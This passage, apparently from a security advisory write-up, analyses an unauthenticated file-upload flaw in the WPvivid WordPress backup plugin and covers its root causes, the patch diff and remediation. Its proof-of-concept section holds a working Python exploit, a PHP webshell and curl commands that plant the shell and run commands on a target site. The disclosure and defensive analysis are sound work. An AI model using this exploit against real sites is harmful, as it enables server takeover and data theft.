&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lucas-montes&quot;&gt;Lucas Montes (NiRoX)&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpvivid-backuprestore/migration-backup-staging-09123-unauthenticated-arbitrary-file-upload&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Migration, Backup, Staging – WPvivid Backup &amp;amp; Migration plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Upload in versions up to and including 0.9.123. This is due to improper error handling in the RSA decryption process combined with a lack of path sanitization when writing uploaded files. When the plugin fails to decrypt a session key using &lt;code&gt;openssl_private_decrypt()&lt;/code&gt;, it does not terminate execution and instead passes the boolean &lt;code&gt;false&lt;/code&gt; value to the phpseclib library&apos;s AES cipher initialization. The library treats this &lt;code&gt;false&lt;/code&gt; value as a string of null bytes, allowing an attacker to encrypt a malicious payload using a predictable null-byte key. Additionally, the plugin accepts filenames from the decrypted payload without sanitization, enabling directory traversal to escape the protected backup directory. This makes it possible for unauthenticated attackers to upload arbitrary PHP files to publicly accessible directories and achieve Remote Code Execution via the &lt;code&gt;wpvivid_action=send_to_site&lt;/code&gt; parameter.&lt;/p&gt;
&lt;p&gt;Wordfence blocked &lt;strong&gt;2,717 attacks&lt;/strong&gt; targeting this vulnerability in the first 24 hours after disclosure.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Architecture: The Transfer Protocol&lt;/h3&gt;
&lt;p&gt;The plugin implements a site-to-site migration feature. The destination site generates an RSA-2048 key pair and stores it in the &lt;code&gt;wpvivid_api_token&lt;/code&gt; WordPress option:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/class-wpvivid-migrate.php&lt;/code&gt; (lines 955–966)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$key_size = 2048;
$rsa = new Crypt_RSA();
$keys = $rsa-&amp;gt;createKey($key_size);
$options[&apos;public_key&apos;] = base64_encode($keys[&apos;publickey&apos;]);
$options[&apos;private_key&apos;] = base64_encode($keys[&apos;privatekey&apos;]);
$options[&apos;expires&apos;] = $expires;
$options[&apos;domain&apos;] = home_url();

WPvivid_Setting::update_option(&apos;wpvivid_api_token&apos;, $options);

$url = $options[&apos;domain&apos;];
$url = $url . &apos;?domain=&apos; . $options[&apos;domain&apos;] . &apos;&amp;amp;token=&apos; . $options[&apos;public_key&apos;] . &apos;&amp;amp;expires=&apos; . $expires;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The admin shares this URL with the source site. The source encrypts backup data using the public key and POSTs it to the destination. The destination decrypts using the stored private key.&lt;/p&gt;
&lt;h3&gt;Hook Registration: No Authentication Required&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/customclass/class-wpvivid-send-to-site.php&lt;/code&gt; (lines 25, 36–62)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Constructor — registered for ALL requests
add_action(&apos;plugins_loaded&apos;, array($this, &apos;plugins_loaded&apos;));

public function plugins_loaded()
{
    if (!empty($_POST) &amp;amp;&amp;amp; isset($_POST[&apos;wpvivid_action&apos;]))
    {
        if ($_POST[&apos;wpvivid_action&apos;] == &apos;send_to_site_connect&apos;) {
            $this-&amp;gt;send_to_site_connect();
        }
        else if ($_POST[&apos;wpvivid_action&apos;] == &apos;send_to_site&apos;) {
            $this-&amp;gt;send_to_site();        // &amp;lt;-- VULNERABLE HANDLER
        }
        // ... other handlers
        die();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The handler fires on the &lt;code&gt;plugins_loaded&lt;/code&gt; hook — one of the earliest WordPress hooks, running before any authentication is checked. Any HTTP POST request to any WordPress URL with &lt;code&gt;wpvivid_action=send_to_site&lt;/code&gt; in the body reaches this code &lt;strong&gt;without requiring authentication&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Vulnerable Code Path — Bug #1: RSA Decryption Failure Not Handled&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/class-wpvivid-crypt.php&lt;/code&gt; (lines 47–63)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function decrypt_message($message)
{
    $len = substr($message, 0, 3);
    $len = hexdec($len);
    $key = substr($message, 3, $len);

    $cipherlen = substr($message, ($len + 3), 16);
    $cipherlen = hexdec($cipherlen);

    $data = substr($message, ($len + 19), $cipherlen);

    $rsa = new Crypt_RSA();
    $rsa-&amp;gt;loadKey($this-&amp;gt;public_key);   // loads the RSA private key from the option
    $key = $rsa-&amp;gt;decrypt($key);          // &amp;lt;-- returns false on failure; NOT CHECKED
    $rij = new Crypt_Rijndael();
    $rij-&amp;gt;setKey($key);                  // &amp;lt;-- setKey(false) = null-byte key!
    return $rij-&amp;gt;decrypt($data);         // &amp;lt;-- decrypts with predictable null-byte key
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the RSA private key in &lt;code&gt;wpvivid_api_token&lt;/code&gt; fails to decrypt the attacker-controlled ciphertext (which it will, because the attacker doesn&apos;t have the RSA private key), &lt;code&gt;Crypt_RSA::decrypt()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;. This &lt;code&gt;false&lt;/code&gt; is passed directly to &lt;code&gt;Crypt_Rijndael::setKey()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The phpseclib 1.x &lt;code&gt;Base::setKey()&lt;/code&gt; stores the raw value:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function setKey($key)
{
    if (!$this-&amp;gt;explicit_key_length) {
        $this-&amp;gt;setKeyLength(strlen($key) &amp;lt;&amp;lt; 3);  // strlen(false) = 0 → key length = 0
        $this-&amp;gt;explicit_key_length = false;
    }
    $this-&amp;gt;key = $key;  // stores false
    $this-&amp;gt;changed = true;
    $this-&amp;gt;_setEngine();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With a key length of 0 (from &lt;code&gt;strlen(false)&lt;/code&gt;), phpseclib falls back to its minimum AES key size and initializes with a key of all null bytes (&lt;code&gt;\x00&lt;/code&gt; × 16 or 32). The attacker can predict this behavior and construct a payload encrypted with the null-byte key.&lt;/p&gt;
&lt;h3&gt;Vulnerable Code Path — Bug #2: Path Traversal via Unsanitized Filename&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/customclass/class-wpvivid-send-to-site.php&lt;/code&gt; (lines 628–666)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$dir = WPvivid_Setting::get_backupdir();  // e.g., &quot;wpvivid-backuprestore&quot;

// $params[&apos;name&apos;] comes directly from attacker-controlled decrypted payload
$file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
           . str_replace(&apos;wpvivid&apos;, &apos;wpvivid_temp&apos;, $params[&apos;name&apos;]);  // NO sanitization!

if (!file_exists($file_path)) {
    $handle = fopen($file_path, &apos;w&apos;);
    fclose($handle);
}

$handle = fopen($file_path, &apos;rb+&apos;);
$offset = $params[&apos;offset&apos;];
if ($offset) {
    fseek($handle, $offset);
}

fwrite($handle, base64_decode($params[&apos;data&apos;]));  // writes attacker data!
fclose($handle);

if (filesize($file_path) &amp;gt;= $params[&apos;file_size&apos;]) {
    if (md5_file($file_path) == $params[&apos;md5&apos;]) {
        // Renames temp file to final path — ALSO unsanitized:
        rename($file_path,
            WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR . $params[&apos;name&apos;]);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;$params[&apos;name&apos;]&lt;/code&gt; is consumed directly without calling &lt;code&gt;basename()&lt;/code&gt; or stripping &lt;code&gt;../&lt;/code&gt; sequences. The &lt;code&gt;str_replace(&apos;wpvivid&apos;, &apos;wpvivid_temp&apos;, ...)&lt;/code&gt; call only modifies the word &quot;wpvivid&quot; in the string — it does not prevent directory traversal.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;$params[&apos;name&apos;] = &apos;../../uploads/shell.php&apos;&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Temp write path:&lt;/strong&gt; &lt;code&gt;wp-content/wpvivid-backuprestore/../../uploads/wpvivid_temp../../uploads/shell.php&lt;/code&gt;
(effectively: &lt;code&gt;wp-content/uploads/wpvivid_temp../../uploads/shell.php&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Final rename path:&lt;/strong&gt; &lt;code&gt;wp-content/uploads/shell.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since &lt;code&gt;wp-content/uploads/&lt;/code&gt; is a web-accessible directory, the PHP shell becomes directly reachable via HTTP.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;Two independent bugs chain together to create a critical unauthenticated RCE:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Missing return-value check on RSA decryption&lt;/strong&gt; (&lt;code&gt;class-wpvivid-crypt.php:59&lt;/code&gt;): &lt;code&gt;Crypt_RSA::decrypt()&lt;/code&gt; can return &lt;code&gt;false&lt;/code&gt;, which should signal failure and abort. Instead it&apos;s silently passed to the AES cipher, reducing the effective key to a predictable null-byte value that any attacker can replicate.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Missing filename sanitization&lt;/strong&gt; (&lt;code&gt;class-wpvivid-send-to-site.php:630&lt;/code&gt;): &lt;code&gt;$params[&apos;name&apos;]&lt;/code&gt; from the attacker-controlled payload is used directly in file-system operations without &lt;code&gt;basename()&lt;/code&gt; normalization or extension validation, enabling directory traversal and PHP file placement in web-accessible locations.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The plugin&apos;s intended security model is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The RSA key pair is generated per-migration; only the source site holding the shared connection URL can encrypt valid messages.&lt;/li&gt;
&lt;li&gt;The backup directory is protected from direct web access.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both protections are bypassed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RSA protection bypassed&lt;/strong&gt;: Because decryption failure is silent, an attacker does not need the RSA private key. They can submit garbage as the RSA-encrypted session key; the library fails, returns &lt;code&gt;false&lt;/code&gt;, and the code continues — proceeding to decrypt the AES payload with a null-byte key the attacker already knows.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Directory protection bypassed&lt;/strong&gt;: Because the filename is not sanitized, the attacker can escape the protected backup directory to any writable location within &lt;code&gt;wp-content/&lt;/code&gt;, including the publicly accessible &lt;code&gt;uploads/&lt;/code&gt; directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated remote attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Upload arbitrary PHP files (webshells, backdoors) to publicly accessible directories&lt;/li&gt;
&lt;li&gt;Achieve full Remote Code Execution on the web server&lt;/li&gt;
&lt;li&gt;Gain persistent access to the WordPress installation&lt;/li&gt;
&lt;li&gt;Exfiltrate the WordPress database, credentials, and sensitive files&lt;/li&gt;
&lt;li&gt;Pivot to other systems accessible from the server&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Prerequisite&lt;/strong&gt;: The &lt;code&gt;wpvivid_api_token&lt;/code&gt; option must be non-empty — meaning an administrator must have previously generated a migration token. This is a routine step for anyone who has ever used the plugin&apos;s migration feature. If the token has &lt;code&gt;expires=0&lt;/code&gt; (&quot;Never&quot;), it remains valid indefinitely.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;wpvivid-backuprestore&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 0.9.123&lt;/li&gt;
&lt;li&gt;The admin has previously generated a migration transfer token (normal plugin usage)&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;wpvivid_api_token&lt;/code&gt; option is non-expired&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Craft the null-byte-key AES encrypted payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Since RSA decryption will fail (we don&apos;t have the private key) and phpseclib will fall back to a null-byte key, we encrypt our JSON payload using AES-Rijndael with a 16-byte null key:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
PoC for CVE-2026-1357 - WPvivid Unauthenticated Arbitrary File Upload
Encrypts payload with null-byte AES key (the key phpseclib uses when RSA decryption fails)
&quot;&quot;&quot;
import base64
import struct
from Crypto.Cipher import AES

# The null-byte key phpseclib falls back to
NULL_KEY = b&apos;\x00&apos; * 16

# Our PHP webshell payload
SHELL_CONTENT = b&apos;&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&apos;

# Encode file data as base64 (as the plugin expects)
file_data_b64 = base64.b64encode(SHELL_CONTENT).decode()

# Build the JSON payload
# name uses path traversal to escape backup dir into uploads/
import json
payload = json.dumps({
    &quot;backup_id&quot;: &quot;attacker_backup_001&quot;,
    &quot;name&quot;: &quot;../../uploads/shell.php&quot;,   # path traversal
    &quot;offset&quot;: 0,
    &quot;data&quot;: file_data_b64,
    &quot;file_size&quot;: len(SHELL_CONTENT),
    &quot;md5&quot;: __import__(&apos;hashlib&apos;).md5(SHELL_CONTENT).hexdigest()
}).encode()

# Pad to AES block size (PKCS7)
pad_len = 16 - (len(payload) % 16)
payload_padded = payload + bytes([pad_len] * pad_len)

# Encrypt with null-byte AES key (ECB mode matches phpseclib Rijndael default)
cipher = AES.new(NULL_KEY, AES.MODE_ECB)
encrypted_payload = cipher.encrypt(payload_padded)

# Build the WPvivid message format:
# [3 hex bytes: RSA-encrypted-key length][RSA-encrypted-key (garbage)][16 hex bytes: cipher length][ciphertext]
fake_rsa_key = b&apos;\x00&apos; * 256  # 256 bytes garbage — RSA decryption will fail on this
key_len_hex = format(len(fake_rsa_key), &apos;03x&apos;).encode()
cipher_len_hex = format(len(encrypted_payload), &apos;016x&apos;).encode()

message = key_len_hex + fake_rsa_key + cipher_len_hex + encrypted_payload
wpvivid_content = base64.b64encode(message).decode()

print(&quot;wpvivid_content =&quot;, wpvivid_content[:100], &quot;...&quot;)
print(&quot;Full value saved to payload.txt&quot;)
with open(&quot;payload.txt&quot;, &quot;w&quot;) as f:
    f.write(wpvivid_content)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Send the upload request&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Replace &lt;code&gt;https://target.example.com&lt;/code&gt; with the target WordPress URL. The request can be sent to any WordPress page — it is processed on &lt;code&gt;plugins_loaded&lt;/code&gt; before routing.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PAYLOAD=$(cat payload.txt)
TARGET=&quot;https://target.example.com&quot;

curl -s -X POST &quot;$TARGET/&quot; \
  -d &quot;wpvivid_action=send_to_site&quot; \
  -d &quot;wpvivid_content=$PAYLOAD&quot; \
  | python3 -m json.tool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected success response:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;result&quot;: &quot;success&quot;,
  &quot;op&quot;: &quot;finished&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Verify remote code execution&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://target.example.com/wp-content/uploads/shell.php?cmd=id&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected output:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker places a PHP webshell at &lt;code&gt;wp-content/uploads/shell.php&lt;/code&gt; and achieves arbitrary command execution on the web server as the webserver user (&lt;code&gt;www-data&lt;/code&gt; or similar).&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Check that &lt;code&gt;wp-content/uploads/shell.php&lt;/code&gt; exists on the server filesystem&lt;/li&gt;
&lt;li&gt;Confirm the file contains &lt;code&gt;&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Access the URL with &lt;code&gt;?cmd=id&lt;/code&gt; and verify OS command output is returned in the HTTP response&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;includes/class-wpvivid-crypt.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added null/false check after RSA decryption&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;includes/customclass/class-wpvivid-send-to-site.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;basename()&lt;/code&gt;, character allowlist, and extension allowlist for filename&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch addresses &lt;strong&gt;both root causes&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 1 — Fail-safe on RSA decryption failure&lt;/strong&gt; (&lt;code&gt;class-wpvivid-crypt.php&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+        if ($key === false || empty($key))
+        {
+            return false;
+        }
         $rij = new Crypt_Rijndael();
         $rij-&amp;gt;setKey($key);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If RSA decryption fails (returns &lt;code&gt;false&lt;/code&gt;), &lt;code&gt;decrypt_message()&lt;/code&gt; now immediately returns &lt;code&gt;false&lt;/code&gt;. The calling code in &lt;code&gt;send_to_site()&lt;/code&gt; already checks &lt;code&gt;if (!is_string($data))&lt;/code&gt; and rejects non-string results — so this single guard causes a clean abort on any invalid RSA ciphertext.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 2 — Filename sanitization&lt;/strong&gt; (&lt;code&gt;class-wpvivid-send-to-site.php&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-$file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
-           . str_replace(&apos;wpvivid&apos;, &apos;wpvivid_temp&apos;, $params[&apos;name&apos;]);
+$safe_name = basename($params[&apos;name&apos;]);
+$safe_name = preg_replace(&apos;/[^a-zA-Z0-9._-]/&apos;, &apos;&apos;, $safe_name);
+$allowed_extensions = array(&apos;zip&apos;, &apos;gz&apos;, &apos;tar&apos;, &apos;sql&apos;);
+$file_ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
+if (!in_array($file_ext, $allowed_extensions, true)) {
+    $ret[&apos;result&apos;] = WPVIVID_FAILED;
+    $ret[&apos;error&apos;] = &apos;Invalid file type - only backup files allowed.&apos;;
+    echo wp_json_encode($ret);
+    die();
+}
+$file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
+           . str_replace(&apos;wpvivid&apos;, &apos;wpvivid_temp&apos;, $safe_name);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three layers of defense:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;basename()&lt;/code&gt; strips all directory components, eliminating &lt;code&gt;../&lt;/code&gt; traversal&lt;/li&gt;
&lt;li&gt;&lt;code&gt;preg_replace(&apos;/[^a-zA-Z0-9._-]/&apos;, &apos;&apos;, ...)&lt;/code&gt; removes any non-alphanumeric characters (except &lt;code&gt;.&lt;/code&gt;, &lt;code&gt;_&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Extension allowlist (&lt;code&gt;zip&lt;/code&gt;, &lt;code&gt;gz&lt;/code&gt;, &lt;code&gt;tar&lt;/code&gt;, &lt;code&gt;sql&lt;/code&gt;) blocks PHP files even if the first two checks were somehow bypassed&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The same fix is applied in two locations: &lt;code&gt;send_to_site()&lt;/code&gt; (line 630) and the file-status handler (line 903).&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/includes/class-wpvivid-crypt.php
+++ b/includes/class-wpvivid-crypt.php
@@ -57,6 +57,10 @@ class WPvivid_crypt
         $rsa = new Crypt_RSA();
         $rsa-&amp;gt;loadKey($this-&amp;gt;public_key);
         $key=$rsa-&amp;gt;decrypt($key);
+        if ($key === false || empty($key))
+        {
+            return false;
+        }
         $rij = new Crypt_Rijndael();
         $rij-&amp;gt;setKey($key);
         return $rij-&amp;gt;decrypt($data);

--- a/includes/customclass/class-wpvivid-send-to-site.php
+++ b/includes/customclass/class-wpvivid-send-to-site.php
@@ -627,8 +627,18 @@ class WPvivid_Send_to_site extends WPvivid_Remote
-                $file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace(&apos;wpvivid&apos;,&apos;wpvivid_temp&apos;,$params[&apos;name&apos;]);
+                $safe_name = basename($params[&apos;name&apos;]);
+                $safe_name = preg_replace(&apos;/[^a-zA-Z0-9._-]/&apos;, &apos;&apos;, $safe_name);
+                $allowed_extensions = array(&apos;zip&apos;, &apos;gz&apos;, &apos;tar&apos;, &apos;sql&apos;);
+                $file_ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
+                if (!in_array($file_ext, $allowed_extensions, true))
+                {
+                    $ret[&apos;result&apos;] = WPVIVID_FAILED;
+                    $ret[&apos;error&apos;] = &apos;Invalid file type - only backup files allowed.&apos;;
+                    echo wp_json_encode($ret);
+                    die();
+                }
+                $file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace(&apos;wpvivid&apos;, &apos;wpvivid_temp&apos;, $safe_name);
@@ -663,3 +673,2 @@
-                        rename($file_path,WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$params[&apos;name&apos;]);
+                        rename($file_path,WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$safe_name);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Residual Risk Assessment&lt;/h3&gt;
&lt;p&gt;The fix is complete and addresses the root cause of each bug. However, defenders should note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Defense in depth missing&lt;/strong&gt;: The handler fires on &lt;code&gt;plugins_loaded&lt;/code&gt; with zero authentication. Even with the patch, any future logic errors in &lt;code&gt;decrypt_message()&lt;/code&gt; could reopen an attack surface. Ideally the handler should also verify a nonce or IP allowlist based on the token&apos;s registered source domain.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No rate limiting&lt;/strong&gt;: There is no brute-force or rate-limiting protection on the endpoint; high-volume probing is possible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Token lifetime&lt;/strong&gt;: Tokens with &lt;code&gt;expires=0&lt;/code&gt; (&quot;Never&quot;) remain valid indefinitely, maximizing the window of exposure for any future vulnerabilities in this endpoint.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by Lucas Montes (NiRoX)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 10, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 11, 2026&lt;/td&gt;
&lt;td&gt;Advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 2026&lt;/td&gt;
&lt;td&gt;Patched version 0.9.124 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;wpvivid-backuprestore&lt;/code&gt; plugin to version &lt;strong&gt;0.9.124&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;If immediate update is not possible:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Deactivate the plugin until the update can be applied&lt;/li&gt;
&lt;li&gt;Alternatively, delete the &lt;code&gt;wpvivid_api_token&lt;/code&gt; option from the database (&lt;code&gt;DELETE FROM wp_options WHERE option_name = &apos;wpvivid_api_token&apos;;&lt;/code&gt;) — this causes all &lt;code&gt;send_to_site*&lt;/code&gt; handlers to exit early via &lt;code&gt;if(empty($option)) { die(); }&lt;/code&gt;, mitigating the attack surface until the patch is applied&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/trunk/includes/class-wpvivid-crypt.php#L58&quot;&gt;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/trunk/includes/class-wpvivid-crypt.php#L58&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.122/includes/class-wpvivid-crypt.php#L58&quot;&gt;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.122/includes/class-wpvivid-crypt.php#L58&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.123/includes/class-wpvivid-crypt.php#L58&quot;&gt;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.123/includes/class-wpvivid-crypt.php#L58&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/trunk/includes/customclass/class-wpvivid-send-to-site.php#L629&quot;&gt;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/trunk/includes/customclass/class-wpvivid-send-to-site.php#L629&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.122/includes/customclass/class-wpvivid-send-to-site.php#L629&quot;&gt;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.122/includes/customclass/class-wpvivid-send-to-site.php#L629&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.123/includes/customclass/class-wpvivid-send-to-site.php#L629&quot;&gt;https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.123/includes/customclass/class-wpvivid-send-to-site.php#L629&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3448386/wpvivid-backuprestore#file1&quot;&gt;https://plugins.trac.wordpress.org/changeset/3448386/wpvivid-backuprestore#file1&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
